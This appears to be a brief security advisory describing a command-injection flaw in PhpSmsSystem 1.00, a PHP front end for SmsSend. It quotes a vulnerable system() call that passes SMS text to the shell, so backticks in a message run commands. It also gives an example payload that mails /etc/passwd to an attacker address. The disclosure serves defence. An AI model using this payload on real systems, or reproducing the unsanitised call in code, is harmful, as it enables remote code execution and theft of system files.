|
COMMAND Php interface to SmsSend may be fooled to remotely run arbitrary code SYSTEMS AFFECTED PhpSmsSystem Version 1.00 PROBLEM Indra Kusuma posted : from file .php : $str = SMSSEND.\" \".SCRIPTSPATH.$script.\" $params -- -d 0 \".PROXY; system($str,$res); if the sms messages contain a backtick \"`\" then inside of backtick will be execute as a system command. the result of the command will send via sms :), so the command output should be less than 160 characters to send via sms, but if the command using pipe (ex : cat /etc/passwd|mail evil@hacker.com) or redirection then the messages status is successfully :) SOLUTION Upgrade ?? http://zekiller.skytech.org/smssend.php